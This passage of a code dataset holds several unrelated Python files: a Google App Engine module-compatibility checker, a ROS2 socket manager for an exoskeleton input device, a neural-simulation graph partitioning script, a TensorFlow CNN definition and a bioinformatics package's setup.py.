'app.yaml'), 'w').write(APP_YAML)\n    \n    app_py_lines = [APP_PY_START]\n    for module in modules:\n        args = {\n            'module_name': module.__name__,\n            'attrs': str([x for x in dir(module) if not x.startswith('_')]),\n            }\n        app_py_lines.append(APP_PY_CHUNK % args)\n    open(path.join(appdir, 'app.py'), 'w').write('\\n'.join(app_py_lines))\n        \n    return appdir\n\ndef runserver(port, appdir):\n    \"\"\" Runs the dev_appserver.py script from the GAE SDK with the specified\n    port and application directory and returns a Popen object, after blocking\n    until the server has printed a message indicating the server is fully\n    up and running. \"\"\"\n    \n    server_proc = Popen(['dev_appserver.py', '-p', str(port), appdir], stderr=PIPE)\n    started = False\n    \n    # TODO: Working non-blocking I/O and timeout\n    # Deadlocking is a known issue with the subprocess module (Popen)\n    # http://www.python.org/dev/peps/pep-3145/\n    \n    while 1:\n        line = server_proc.stderr.readline()\n        if \"Running application\" in line:\n            break\n\n    return server_proc\n    \n#----------------------------------------------------------------------------#\n\nAPP_YAML = \"\"\"\\\napplication: gaenoimport\nversion: 1\nruntime: python\napi_version: 1\n\nhandlers:\n- url: /.*\n  script: app.py\n\"\"\"\n\nAPP_PY_START = \"\"\"\\\nprint \"Content-Type: text/plain\"\nprint \"\"\n\ndef print_notallowed(module, module_name, attr_names):\n    for name in attr_names:\n        try:\n            x = getattr(module, name)\n        except AttributeError:\n            print module_name + '.' + name\n\n\"\"\"\n\nAPP_PY_CHUNK = \"\"\"\\\ntry:\n    import %(module_name)s\n    print_notallowed(%(module_name)s, '%(module_name)s', %(attrs)s)\nexcept ImportError:\n    print \"%(module_name)s.*\"\n\"\"\"\n\n# Python 2.5 is used by GAE\n# List adapted from http://www.python.org/doc/2.5/modindex.html\nPYTHON_2_5_MODULES = \\\n['aepack', 'aetools', 'aetypes', 'aifc', 'AL', 'al', 'anydbm', 'applesingle',\n'array', 'asynchat', 'asyncore', 'atexit', 'audioop', 'autoGIL', 'base64',\n'BaseHTTPServer', 'Bastion', 'binascii', 'binhex', 'bisect', 'bsddb',\n'buildtools', 'bz2', 'calendar', 'cd', 'cfmfile', 'cgi', 'CGIHTTPServer',\n'cgitb', 'chunk', 'cmath', 'cmd', 'code', 'codecs', 'codeop', 'collections',\n'ColorPicker', 'colorsys', 'commands', 'compileall', 'compiler',\n'compiler.ast', 'compiler.visitor', 'ConfigParser', 'contextlib', 'Cookie',\n'cookielib', 'copy', 'copy_reg', 'cPickle', 'cProfile', 'crypt', 'cStringIO',\n'csv', 'ctypes', 'curses', 'curses.ascii', 'curses.panel', 'curses.textpad',\n'curses.wrapper', 'datetime', 'dbhash', 'dbm', 'decimal', 'DEVICE', 'difflib',\n'dircache', 'dis', 'dl', 'doctest', 'DocXMLRPCServer', 'dumbdbm',\n'dummy_thread', 'dummy_threading', 'EasyDialogs', 'email', 'email.charset',\n'email.encoders', 'email.errors', 'email.generator', 'email.header',\n'email.iterators', 'email.message', 'email.mime', 'email.mime.audio',\n'email.mime.base', 'email.mime.image', 'email.mime.message',\n'email.mime.multipart', 'email.mime.nonmultipart', 'email.mime.text',\n'email.parser', 'email.utils', 'encodings.idna', 'errno', 'exceptions',\n'fcntl', 'filecmp', 'fileinput', 'findertools', 'FL', 'fl', 'flp', 'fm',\n'fnmatch', 'formatter', 'fpectl', 'fpformat', 'FrameWork', 'ftplib',\n'functools', 'gc', 'gdbm', 'gensuitemodule', 'getopt', 'getpass', 'gettext',\n'GL', 'gl', 'glob', 'gopherlib', 'grp', 'gzip', 'hashlib', 'heapq', 'hmac',\n'hotshot', 'hotshot.stats', 'htmlentitydefs', 'htmllib', 'HTMLParser',\n'httplib', 'ic', 'icopen', 'imageop', 'imaplib', 'imgfile', 'imghdr', 'imp',\n'inspect', 'itertools', 'jpeg', 'keyword', 'linecache', 'locale', 'logging',\n'mailbox', 'mailcap', 'marshal', 'math', 'md5', 'mhlib', 'mimetools',\n'mimetypes', 'MimeWriter', 'mimify', 'MiniAEFrame', 'mmap', 'modulefinder',\n'msilib', 'msvcrt', 'multifile', 'mutex', 'Nav', 'netrc', 'new', 'nis',\n'nntplib', 'operator', 'optparse', 'os', 'os.path', 'ossaudiodev', 'parser',\n'pdb', 'pickle', 'pickletools', 'pipes', 'PixMapWrapper', 'pkgutil',\n'platform', 'popen2', 'poplib', 'posix', 'posixfile', 'pprint', 'profile',\n'pstats', 'pty', 'pwd', 'py_compile', 'pyclbr', 'pydoc', 'Queue', 'quopri',\n'random', 're', 'readline', 'repr', 'resource', 'rexec', 'rfc822', 'rgbimg',\n'rlcompleter', 'robotparser', 'runpy', 'sched', 'ScrolledText', 'select',\n'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'signal',\n'SimpleHTTPServer', 'SimpleXMLRPCServer', 'smtpd', 'smtplib', 'sndhdr',\n'socket', 'SocketServer', 'spwd', 'sqlite3', 'stat', 'statvfs', 'string',\n'StringIO', 'stringprep', 'struct', 'subprocess', 'sunau', 'symbol', 'sys',\n'syslog', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'termios', 'test',\n'test.test_support', 'textwrap', 'thread', 'threading', 'time', 'timeit',\n'Tix', 'Tkinter', 'token', 'tokenize', 'trace', 'traceback', 'tty', 'turtle',\n'types', 'unicodedata', 'unittest', 'urllib', 'urllib2', 'urlparse',\n'UserDict', 'UserList', 'UserString', 'uu', 'uuid', 'videoreader', 'W',\n'warnings', 'wave', 'weakref', 'webbrowser', 'whichdb', 'winsound', 'wsgiref',\n'wsgiref.handlers', 'wsgiref.headers', 'wsgiref.simple_server',\n'wsgiref.util', 'wsgiref.validate', 'xdrlib', 'xml.dom', 'xml.dom.minidom',\n'xml.dom.pulldom', 'xml.etree.ElementTree', 'xml.parsers.expat', 'xml.sax',\n'xml.sax.handler', 'xml.sax.saxutils', 'xml.sax.xmlreader', 'xmlrpclib',\n'zipfile', 'zipimport', 'zlib', 'distutils.bcppcompiler',\n'distutils.ccompiler', 'distutils.command.bdist_rpm',\n'distutils.command.bdist_wininst', 'distutils.command.sdist',\n'distutils.command.build_clib', 'distutils.command.bdist',\n'distutils.command.bdist_dumb', 'distutils.command.bdist_packager',\n'distutils.unixccompiler', 'distutils.mwerkscompiler', 'distutils',\n'distutils.archive_util', 'distutils.cmd', 'distutils.command',\n'distutils.command.build', 'distutils.command.build_py',\n'distutils.command.build_scripts', 'distutils.command.clean',\n'distutils.command.config', 'distutils.command.install_data',\n'distutils.command.install_headers', 'distutils.command.install_lib',\n'distutils.command.install_scripts', 'distutils.command.register',\n'distutils.core', 'distutils.cygwinccompiler', 'distutils.debug',\n'distutils.dep_util', 'distutils.dir_util', 'distutils.dist',\n'distutils.emxccompiler', 'distutils.errors', 'distutils.extension',\n'distutils.fancy_getopt', 'distutils.file_util', 'distutils.filelist',\n'distutils.log', 'distutils.msvccompiler', 'distutils.spawn',\n'distutils.sysconfig', 'distutils.text_file', 'distutils.util',\n'distutils.version',]\n\n# Some platform-specific modules that would just clutter the results\nOBVIOUS = \\\n['Carbon.AE', 'Carbon.AH', 'Carbon.App',\n'Carbon.CaronEvt', 'Carbon.CF', 'Carbon.CG', 'Carbon.Cm', 'Carbon.Ctl',\n'Carbon.Dlg', 'Carbon.Evt', 'Carbon.Fm', 'Carbon.Folder', 'Carbon.Help',\n'Carbon.List', 'Carbon.Menu', 'Carbon.Mlte', 'Carbon.Qd', 'Carbon.Qdoffs',\n'Carbon.Qt', 'Carbon.Res', 'Carbon.Scrap', 'Carbon.Snd', 'Carbon.TE',\n'Carbon.Win', 'macerrors', 'macfs', 'MacOS', 'macostools', 'macpath', 'macresource',\n'SUNAUDIODEV', 'sunaudiodev',]\n\n# Uncomment this line to also check modules that are \"obviously\" not supported\n# under a system like GAE. May take longer. Some might even hang.\n# PYTHON_2_5_MODULES += OBVIOUS\n\n# These are known to have the potential to cause GAE to hang rather than\n# raising an exception.\nCAUSE_HANG = ['distutils.command.build_ext', 'distutils.command.install',]\n\n# Cause various errors other than ImportError when imported\nOTHER_ERRORS = ['site', 'user',]\n\n#----------------------------------------------------------------------------#\n\nif __name__ == '__main__':\n    main()\n    \n#----------------------------------------------------------------------------#\n","repo_name":"countergram/gae_noimport","sub_path":"gae_noimport.py","file_name":"gae_noimport.py","file_ext":"py","file_size_in_byte":9354,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"42064454711","text":"\"\"\"Author: Tuhin Das, MVII.\"\"\"\n\nimport select\nimport socket\nimport json\nimport time\nfrom functools import partial\n\nfrom rclpy.impl.rcutils_logger import RcutilsLogger as Logger\nfrom march_utility.utilities.duration import Duration\nfrom .wireless_ipd_controller import WirelessInputDeviceController\nfrom march_shared_msgs.msg import GaitRequest\nfrom rclpy.node import Node\n\nHEARTBEAT_TIMEOUT = Duration(seconds=5)\n\n\nclass ConnectionManager:\n    \"\"\"Class that maintains the wireless IPD connection and communication.\n\n    This manager waits for heartbeat or gait request messages from the wireless IPD. The messages are received\n    in the loop of `_wait_for_request()`. After sending a response to the IPD, the node waits for a final\n    confirmation message. While waiting for this confirmation, no other messages are received.\n\n    Args:\n        host (str): IP address for the connection.\n        port (int): Port to connect the sockets on for the wireless connection.\n        controller (WirelessInputDeviceController): Controller that publishes gaits.\n        node (Node): The node to run the wireless IPD process on.\n        logger (Logger): Used to log messages to the terminal with the class name as a prefix.\n\n    Attributes:\n        _socket (socket): Socket object used to create a connection.\n        _connection (socket): Established socket connection used to send and receive messages.\n        _node (Node): The node to run the wireless IPD process on.\n        _controller (WirelessInputDeviceController): Controller that publishes gaits.\n        _logger (Logger): sed to log messages to the terminal with the class name as a prefix.\n        _seq (int): The current sequence number of the messages between the node and the IPD.\n        _pause_receiving_messages (bool): Whether the main loop should stop receiving messages for a while.\n        _requested_gait (str): The name of a gait that is requested, and None if no gait is requested.\n        _current_gait (str): The current gait of the exoskeleton, runnin or just finished.\n        _last_heartbeat (Time): Last time a message has been received from the wireless IPD.\n        _stopped (bool): Whether stop was pressed on the IPD.\n        _last_left_displacement (List): Last displacement found for the left foot with the cameras.\n        _last_right_displacement (List): Last displacement found for the right foot with the cameras.\n        _last_left_point_timestamp (Time): Last time a left point has been found.\n        _last_right_point_timestamp (Time): Last time a right point has been found.\n\n    Subscriptions:\n    - /march/foot_position/left\n    - /march/foot_position/right\n    \"\"\"\n\n    def __init__(self, host: str, port: int, controller: WirelessInputDeviceController, node: Node, logger: Logger):\n        \"\"\"Constructor.\"\"\"\n        self._connection = None\n        self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        node.get_logger().warn(\"Wireless ipd node starting up with ip: \" + str(host) + \" and port: \" + str(port))\n        self._socket.bind((host, port))\n        self._socket.listen()\n        self._node = node\n        self._controller = controller\n        self._logger = logger\n        self._seq = 0\n        self._pause_receiving_messages = False\n        self._requested_gait = None\n        self._current_gait = \"unknown\"\n        self._last_heartbeat = self._node.get_clock().now()\n        self._stopped = False\n        self._controller.accepted_cb = partial(self.send_message_till_confirm, \"Accepted\", True)\n        self._controller.rejected_cb = partial(self.send_message_till_confirm, \"Reject\")\n\n    def _validate_received_data(self, msg: str):\n        \"\"\"Check if a received message is valid or is empty, meaning the connection is broken.\n\n        Args:\n            msg (str): The message to validate.\n        \"\"\"\n        if msg == \"\":\n            self._logger.warning(\"Connection lost with wireless IPD (empty message)\")\n            raise socket.error\n        else:\n            self._logger.warning(\"Heartbeat received\")\n            self._last_heartbeat = self._node.get_clock().now()\n\n    def _wait_for_request(self):\n        \"\"\"Loop that receives heartbeat and gait request messages from the IPD and handles them.\"\"\"\n        while True:\n            self._logger.info(\"_wait_for_request called\")\n            try:\n                # Do not receive messages while a stop or gait has been requested and\n                # the manager waits for a receive confirmation from the IPD.\n                counter = 0\n                while self._pause_receiving_messages and counter < 15:\n                    time.sleep(0.20)\n                    counter += 1\n\n                req = self._wait_for_message(5.0)\n\n                req = json.loads(req)\n\n                self._seq = req[\"seq\"]\n                msg_type = req[\"type\"]\n\n                if msg_type == \"GaitRequest\":\n                    self._send_gait(req[\"gait\"][\"gaitName\"])\n\n                elif msg_type == \"Heartbeat\":\n                    self._logger.info(\"Heartbeat received\")\n                    self.send_message_till_confirm(msg_type=\"Heartbeat\")\n\n                elif msg_type == \"Fail\":\n                    self._send_gait(\"error\")\n\n            except (json.JSONDecodeError, BlockingIOError):\n                continue\n\n            # Reset connection when a message has not been received for 5 seconds\n            except socket.timeout as e:\n                if (self._node.get_clock().now() - self._last_heartbeat) > HEARTBEAT_TIMEOUT:\n                    self._logger.warning(\"Connection lost with wireless IPD (no heartbeat)\")\n                    raise e\n\n            # Reset connection if another exception occurs\n            except socket.error as e:\n                raise e\n\n    def _send_gait(self, req: str):\n        \"\"\"Check whether a gait requested on the wireless IPD is available, and publish it to the state machine if so.\n\n        Args:\n            req (str): Gait request message from the IPD.\n        \"\"\"\n        self._pause_receiving_messages = True\n\n        self._requested_gait = req\n        if self._requested_gait == \"stand\" or self._requested_gait == \"stop\":\n            self._controller.publish_gait(GaitRequest.STAND)\n        elif self._requested_gait == \"sit\":\n            self._controller.publish_gait(GaitRequest.SIT)\n        elif self._requested_gait == \"walk\":\n            self._controller.publish_gait(GaitRequest.WALK, \"step_close\")\n        elif self._requested_gait == \"error\":\n            self._controller.publish_gait(GaitRequest.ERROR)\n\n    def _wait_for_message(self, timeout: float):\n        \"\"\"Wait until a message is received on the socket connection, until the timeout is reached.\n\n        Args:\n            timeout (float): Timeout for the wait duration.\n\n        Returns:\n            str: Decoded message from the wireless IPD.\n        \"\"\"\n        try:\n            self._logger.warning(\"waiting for message\")\n            self._connection.settimeout(timeout)\n            data = self._connection.recv(1024).decode(\"utf-8\")\n            self._connection.settimeout(None)\n            self._validate_received_data(data)\n        except (socket.error, ConnectionResetError, BlockingIOError) as e:\n            raise e\n        return data\n\n    def _send_message(self, msg: str):\n        \"\"\"Send a message via the socket connection.\n\n        Args:\n            msg (str): Message to send.\n        \"\"\"\n        try:\n            msg = msg + \"\\r\\n\"\n            self._connection.sendall(msg.encode())\n        except (BrokenPipeError, InterruptedError, socket.error):\n            raise socket.error\n\n    def send_message_till_confirm(self, msg_type: str, requested_gait: str, message: str = None):\n        \"\"\"Send a message to the wireless IPD until confirmation is received.\n\n        Args:\n            msg_type (str): The type of message that is sent.\n            requested_gait (bool): Whether this message is a response to a requested gait or not.\n            message (str): Optional message to send.\n        \"\"\"\n        if self._connection is None:\n            return\n\n        msg = {\n            \"type\": msg_type,\n            \"currentGait\": requested_gait,\n            \"message\": message,\n            \"seq\": self._seq,\n        }\n\n        while True:\n            try:\n                # Send a message and wait until a \"Received\" confirmation message is received.\n                self._send_message(json.dumps(msg))\n                response = self._wait_for_message(5.0)\n\n                if \"Received\" in response:\n                    response = json.loads(response)\n                    seq = response[\"seq\"]\n                    if seq == self._seq:\n                        self._pause_receiving_messages = False\n                        self._empty_socket()\n                        return\n                    else:\n                        self._empty_socket()\n                        self._seq = seq\n                        continue\n\n            except (json.JSONDecodeError, BlockingIOError):\n                continue\n\n            # A timeout is triggered if no \"Received\" confirmation message is read within 5 seconds.\n            except socket.timeout as e:\n                if (self._node.get_clock().now() - self._last_heartbeat) > HEARTBEAT_TIMEOUT:\n                    self._logger.warning(\"Connection lost with wireless IPD (no heartbeat)\")\n                    raise e\n\n            except socket.error as e:\n                raise e\n\n    def establish_connection(self):\n        \"\"\"Connect with the wireless IPD via a socket connection.\n\n        After a connection has been established, `_wait_for_request()` is called and receives any messages in\n        a loop. If any errors are thrown in `_wait_for_request()`, they are caught here and the connection\n        is reset. Afterwards `_wait_for_request()` is called again.\n        \"\"\"\n        while True:\n            try:\n                self._connection, _ = self._socket.accept()\n                self._logger.info(\"Wireless IPD connected\")\n                self._wait_for_request()\n            except (socket.timeout, socket.error) as e:\n                self._logger.warning(repr(e))\n                self._logger.warning(\"Reconnecting Wireless IPD\")\n\n            self._connection.close()\n\n    def _empty_socket(self):\n        \"\"\"Empty all remaining messages on the socket connection.\"\"\"\n        while True:\n            input_ready, _, _ = select.select([self._connection], [], [], 0.0)\n            if len(input_ready) == 0:\n                break\n            for s in input_ready:\n                s.recv(1)\n","repo_name":"project-march/ProjectMarch","sub_path":"ros2/src/hardware/march_wireless_ipd/march_wireless_ipd/connection_manager.py","file_name":"connection_manager.py","file_ext":"py","file_size_in_byte":10632,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"77"}
+{"seq_id":"11185804765","text":"import os\nimport numpy as np\nimport time\nimport sys\n\nstart = time.time()\n\nbase_path = sys.argv[1]\nworkload = sys.argv[2]\nnum_chip = int(sys.argv[3])\nn_sim = int(sys.argv[4])\n\n\nis_sparse = True\n\nconnection_dat = base_path + workload + \"/dataset/connection.npy\"\n# chip mapping result\nchip_mapping_dat = workload + \"/chip_simulation.graph.part.\" + str(num_chip)\n\n\ntotal_arr = np.load(connection_dat)\n\ntotal_conn = len(total_arr)\n\n# chip mapping result (gid to core mapping dat)\nmapping_result = open(chip_mapping_dat)\nmapping_result = mapping_result.readlines()\nmapping_result = list(map(int, mapping_result))\n\n# gid list for each chip\ngid_list_per_chip = [[] for _ in range(num_chip)]\n# gid to chip id\ngid_to_chipid = [0 for _ in range(len(mapping_result))]\n\nfor gid in range(len(mapping_result)):\n    # convert gid to chip id\n    gid_to_chipid[gid] = len(gid_list_per_chip[mapping_result[gid]])    \n    gid_list_per_chip[mapping_result[gid]].append(gid)\n\nnp.save(workload + \"/gids_per_chip.npy\", gid_list_per_chip)\n\nneu_per_core = [len(gid_list_per_chip[chip]) for chip in range(num_chip)]\n#\nmatrix_conn = [[[] for _ in range(n_sim)] for _ in range(num_chip)]\nmatrix_wgt = [[[] for _ in range(n_sim)] for _ in range(num_chip)]\ninput_conn = [[0 for _ in range(n_sim)] for _ in range(num_chip)]\n\nn_syn = [0 for _ in range(num_chip)]\nfor syn in total_arr:\n    (src, dst, weight, delay, _) = syn\n\n    # get src chip id and dst chip id\n    src_chip = mapping_result[src]; dst_chip = mapping_result[dst]\n\n    input_conn[dst_chip][dst] += 1\n    # generate connection only if src and dst are in the same chip\n    if src_chip == dst_chip:\n\n        # increase connection of the chip\n        if src < dst:\n            n_syn[src_chip] += 1\n            matrix_conn[src_chip][src].append(dst)\n            matrix_conn[src_chip][dst].append(src)\n            matrix_wgt[src_chip][src].append(1)\n            matrix_wgt[src_chip][dst].append(1)\n        else:\n            # if my index is smaller just check if there is dst -> src connection\n            if not dst in matrix_conn[src_chip][src]:\n                n_syn[src_chip] += 1\n                matrix_conn[src_chip][src].append(dst)\n                matrix_conn[src_chip][dst].append(src)\n                matrix_wgt[src_chip][src].append(1)\n                matrix_wgt[src_chip][dst].append(1)\n            else:\n                dst_index = matrix_conn[src_chip][src].index(dst)\n                src_index = matrix_conn[src_chip][dst].index(src)\n                matrix_wgt[src_chip][src][dst_index] += 1\n                matrix_wgt[src_chip][dst][src_index] += 1\n\nfor chip in range(num_chip):\n    \n    f = open(workload + \"/chip_sub_simulation\" + str(chip) + \".graph\", \"w\")\n    f.write(str(len(gid_list_per_chip[chip])) + \" \" + str(n_syn[chip]) + \" 011 2\\n\")\n    \n    for x in gid_list_per_chip[chip]:\n        f.write(\"1 \")\n        f.write(str(input_conn[chip][x]) + \" \")\n        for ind in range(len(matrix_conn[chip][x])):\n            dst = matrix_conn[chip][x][ind]; wgt = matrix_wgt[chip][x][ind]\n            f.write(str(gid_to_chipid[dst] + 1) + \" \" + str(wgt) +\" \")\n        f.write(\"\\n\")\n    f.close()\n\nend = time.time()\n","repo_name":"SNU-HPCS/NeuroSync","sub_path":"mapping/gen_submetis.py","file_name":"gen_submetis.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"}
+{"seq_id":"38238343904","text":"#coding=utf8\n#__author__='caichaopeng'\n\n#coding=utf8\n#__author__='caichaopeng'\n\nimport tensorflow as tf\n\n#配置神经网络参数\nINPUT_NODE = 299\nOUTPUT_NODE = 4\n\nIMAGE_SIZE = 299\nNUM_CHANNELS = 1\nNUM_LABELS = 4\n\n#第一层卷积层的尺寸和深度\nCONV1_DEEP = 32\nCONV1_SIZE = 5\n#第二层卷积层的尺寸和深度\nCONV2_DEEP = 64\nCONV2_SIZE = 5\n\n#全连接层的节点个数\nFC_SIZE = 512\n\n#定义卷积神经网络的前向传播过程。这里添加了一个新的参数train，用于区别训练过程和测试过程\n#在这个程序中将用到dropout方法，dropout可以进一步提升模型的可靠性，防止过拟合，dropout过程只在训练时使用\ndef inference(input_tensor,train,regularizer):\n    #声明第一层卷积层的变量并实现前向传播过程。\n    #通过使用不同的命名空间来隔离不同层的变量，可以让每一层中的变量命名只需要考虑在当前层中的作用，而不担心重命名问题\n    #和标准LeNet-5模型不大一样，这里定义的卷积层输入为28x28x1的原始MNIST图片像素。因为卷积层用了全0填充，\n    #所以输出为28x28x32的矩阵\n    with tf.variable_scope('layer1-conv1'):\n        conv1_weight = tf.get_variable('weight',[CONV1_SIZE,CONV1_SIZE,NUM_CHANNELS,CONV1_DEEP],\n                                       initializer = tf.truncated_normal_initializer(stddev = 0.1))\n        conv1_biases = tf.get_variable('bias',[CONV1_DEEP],initializer = tf.constant_initializer(0.0))\n\n        #使用边长为5，深度为32的过滤器，过滤器移动步长为1，且为全0填充\n        conv1 = tf.nn.conv2d(input_tensor,conv1_weight,strides = [1,1,1,1],padding = 'SAME')\n        relu1 = tf.nn.relu(tf.nn.bias_add(conv1,conv1_biases))\n\n    #实现第二层池化层的前向传播过程。这里选用最大池化层，池化层过滤器的边长为2，\n    #使用全0填充且移动步长为2.这一层的输入是上一层的输出，也就是28x28x32的矩阵。\n    #输出14x14x32的矩阵\n    with tf.variable_scope('layer2-poll1'):\n        pool1 = tf.nn.max_pool(relu1,ksize = [1,2,2,1],strides = [1,2,2,1],padding = 'SAME')\n    #声明第三层卷积层的变量实现前向传播过程，这一层的输入为14x14x32的矩阵，输出为14x14x64的矩阵\n    with tf.variable_scope('layer3-conv2'):\n        conv2_weight = tf.get_variable('weight',[CONV2_SIZE,CONV2_SIZE,CONV1_DEEP,CONV2_DEEP],\n                                       initializer = tf.truncated_normal_initializer(stddev = 0.1))\n        conv2_biases = tf.get_variable('bias',[CONV2_DEEP],\n                                       initializer = tf.constant_initializer(0.0))\n        #使用边长为5，深度为64的过滤器，过滤器的移动步长为1，且全0连接\n        conv2 = tf.nn.conv2d(pool1,conv2_weight,strides = [1,1,1,1],padding = 'SAME')\n        relu2 = tf.nn.relu(tf.nn.bias_add(conv2,conv2_biases))\n\n    #实现第四层池化层的前向传播过程，这一层和第二层的结构是一样的。这一层的输入为14x14x16的矩阵，输出为\n    #7x7x64的矩阵\n    with tf.variable_scope('layer4-pool2'):\n        pool2 = tf.nn.max_pool(relu2,ksize = [1,2,2,1],strides = [1,2,2,1],padding = 'SAME')\n\n    #将第四层池化层的输出转化为第五层全连接层的输入格式。第四层的输出为7x7x64的矩阵，\n    #然而第五层全连接层需要输入格式为向量，所以在这里需要将这个7x7x64的矩阵拉直成一个向量。\n    #pool2.get_shape函数可以得到第四层输出矩阵的维度而不需要手工计算，注意因为每一层神经网络\n    #的输入输出都为一个batch的矩阵，所以这里得到的维度也包含了batch中数据的个数。\n    pool_shape=pool2.get_shape().as_list()\n    #计算将矩阵拉直成向量之后的长度，这个长度就是矩阵长宽及深度的乘积\n    #注意这里pool_shape[0]为一个batch中数据的个数\n    nodes = pool_shape[1]*pool_shape[2]*pool_shape[3]\n\n    #通过tf.reshape函数将第四层的输出变成一个batch的向量\n    reshaped = tf.reshape(pool2,[pool_shape[0],nodes])\n\n    #声明第五层全连接层的变量并实现前向传播过程。这一层的输入是拉直后的一组向量，向量的长度为3136，\n    #输出是一组长度为512的向量。引入dropout,dropout在训练时会随机将部分节点的输出改为0.drop可以避免过拟合的\n    #问题，从而使模型在测试数据上的效果更好。\n    #dropout一般只在全连接层而不是卷积层或者池化层使用\n    with tf.variable_scope('layer5-fc1'):\n        fc1_weights = tf.get_variable('weight',[nodes,FC_SIZE],\n                                      initializer = tf.truncated_normal_initializer(stddev =0.1))\n        #只有全连接层的权重需要加入正则化\n        if regularizer != None:\n            tf.add_to_collection('losses',regularizer(fc1_weights))\n        fc1_biases = tf.get_variable('bias',[FC_SIZE],initializer = tf.constant_initializer(0.1))\n        fc1 = tf.nn.relu(tf.matmul(reshaped,fc1_weights)+fc1_biases)\n        if train:\n            fc1 = tf.nn.dropout(fc1,0.5)\n\n    #声明第六层全连接的变量并实现前向传播过程。这一层的输入为一组长度为512的向量。\n    #输出为一组长度为10的向量。这一层输出通过softmax之后就得到了最后的分类结果\n    with tf.variable_scope('layer6-fc2'):\n        fc2_weights = tf.get_variable('weight',[FC_SIZE,NUM_LABELS],\n                                      initializer = tf.truncated_normal_initializer(stddev = 0.1))\n        if regularizer != None:\n            tf.add_to_collection('losses',regularizer(fc2_weights))\n        fc2_biases = tf.get_variable('bias',[NUM_LABELS],initializer = tf.constant_initializer(0.1))\n        logit = tf.matmul(fc1,fc2_weights)+fc2_biases\n\n    #返回第六层的输出\n    return logit\n","repo_name":"caichaopeng/CnnForAxis","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":5878,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73805779128","text":"# coding: utf-8\nfrom setuptools import setup, find_packages\nfrom setuptools.extension import Extension\nfrom distutils.extension import Extension\nfrom codecs import open\nfrom os import path\nimport glob\nimport re\nimport sys\n\n\nhere = path.abspath(path.dirname(\"__file__\"))\n\nwith open(path.join(here, \"DESCRIPTION.md\"), encoding=\"utf-8\") as description:\n\tdescription = long_description = description.read()\n\nname=\"bgrrl\"\nversion = \"0.6.3.2\"\n\nif sys.version_info.major != 3:\n\traise EnvironmentError(\"\"\"bgrrl is a python module that requires python3, and is not compatible with python2.\"\"\")\n\n\nsetup(\n\tname=name,\n\tversion=version,\n\tdescription=description,\n\tlong_description=long_description,\n\turl=\"https://github.com/EI-CoreBioinformatics/bgrrl\",\n\tauthor=\"Christian Schudoma\",\n\tauthor_email=\"christian.schudoma@earlham.ac.uk\",\n\tlicense=\"MIT\",\n\tclassifiers=[\n\t\t\"Development Status :: 4 - Beta\",\n\t\t\"Topic :: Scientific Engineering :: Bio/Informatics\",\n\t\t\"License :: OSI Approved :: MIT License\",\n        \"Operating System :: POSIX :: Linux\",\n        'Programming Language :: Python :: 3.4',\n        \"Programming Language :: Python :: 3.5\",\n        \"Programming Language :: Python :: 3.6\"\n\t],\n\tzip_safe=False,\n\tkeywords=\"bacterial genomics illumina sequencing assembly annotation\",\n\tpackages=find_packages(exclude=[\"test\"]),\n\tscripts=[\n\t\tpath.join(\"bgrrl/bin/slurm\", script) for script in [\"bgsurvey_sub\", \"bgasm_sub\", \"bgann_sub\", \"bgpack_sub\"]\n\t],\n\tinstall_requires=[\n\t\t\"snakemake>=4.4.0\",\n\t\t\"drmaa\",\n\t\t\"sphinx\"\n\t],\n\tentry_points={\n\t\t\"console_scripts\": [\n\t\t\t\"bgrrl=bgrrl.__main__:main\",\n\t\t\t\"bgsurvey=bgrrl.__main__:main\",\n\t\t\t\"bgasm=bgrrl.__main__:main\",\n\t\t\t\"bgann=bgrrl.__main__:main\",\n\t\t\t\"bgpack=bgrrl.__main__:main\",\n\t\t\t\"bginit=bgrrl.bin.bginit:main\",\n\t\t\t\"qc_eval=bgrrl.bin.qc_eval:main\",\n\t\t\t\"asm_report=bgrrl.bin.asm_report:main\",\n\t\t\t\"ann_report=bgrrl.bin.ann_report:main\",\n\t\t\t\"bg_datasum=bgrrl.bin.bg_datasum:main\",\n\t\t\t\"asm_stage_report=bgrrl.bin.asm_stage_report:main\",\n\t\t\t\"ann_cmp=bgrrl.bin.annocmp:main\",\n\t\t\t\"create_samplesheet=bgrrl.bin.create_samplesheet:main\",\n\t\t\t\"prokka_report=bgrrl.bin.prokka_report:main\",\n\t\t\t\"asm_wrapper=bgrrl.bin.wrappers.asm_wrapper:main\",\n\t\t\t\"prokka_wrapper=bgrrl.bin.wrappers.prokka_wrapper:main\",\n\t\t\t\"ratt_wrapper=bgrrl.bin.wrappers.ratt_wrapper:main\",\n\t\t\t\"qc2asm=bgrrl.bin.qc2asm:main\"\n\t\t]\n\t},\n\tpackage_data={\n\t\t\"bgrrl.zzz\": [\"*.smk*\"]\n\t},\n\tinclude_package_data=True,\n\tdata_files=[\n\t\t(\"bgrrl/etc\", glob.glob(\"bgrrl/etc/*.*\")),\n\t\t(\"bgrrl/etc/wrappers\", glob.glob(\"bgrrl/etc/wrappers/*\")),\n\t\t(\"bgrrl/etc/util\", glob.glob(\"bgrrl/etc/util/*\")),\n\t\t(\"bgrrl/etc/singularity\", glob.glob(\"bgrrl/etc/singularity/*.def\"))\n\t]\n)\n\n","repo_name":"EI-CoreBioinformatics/bgrrl","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
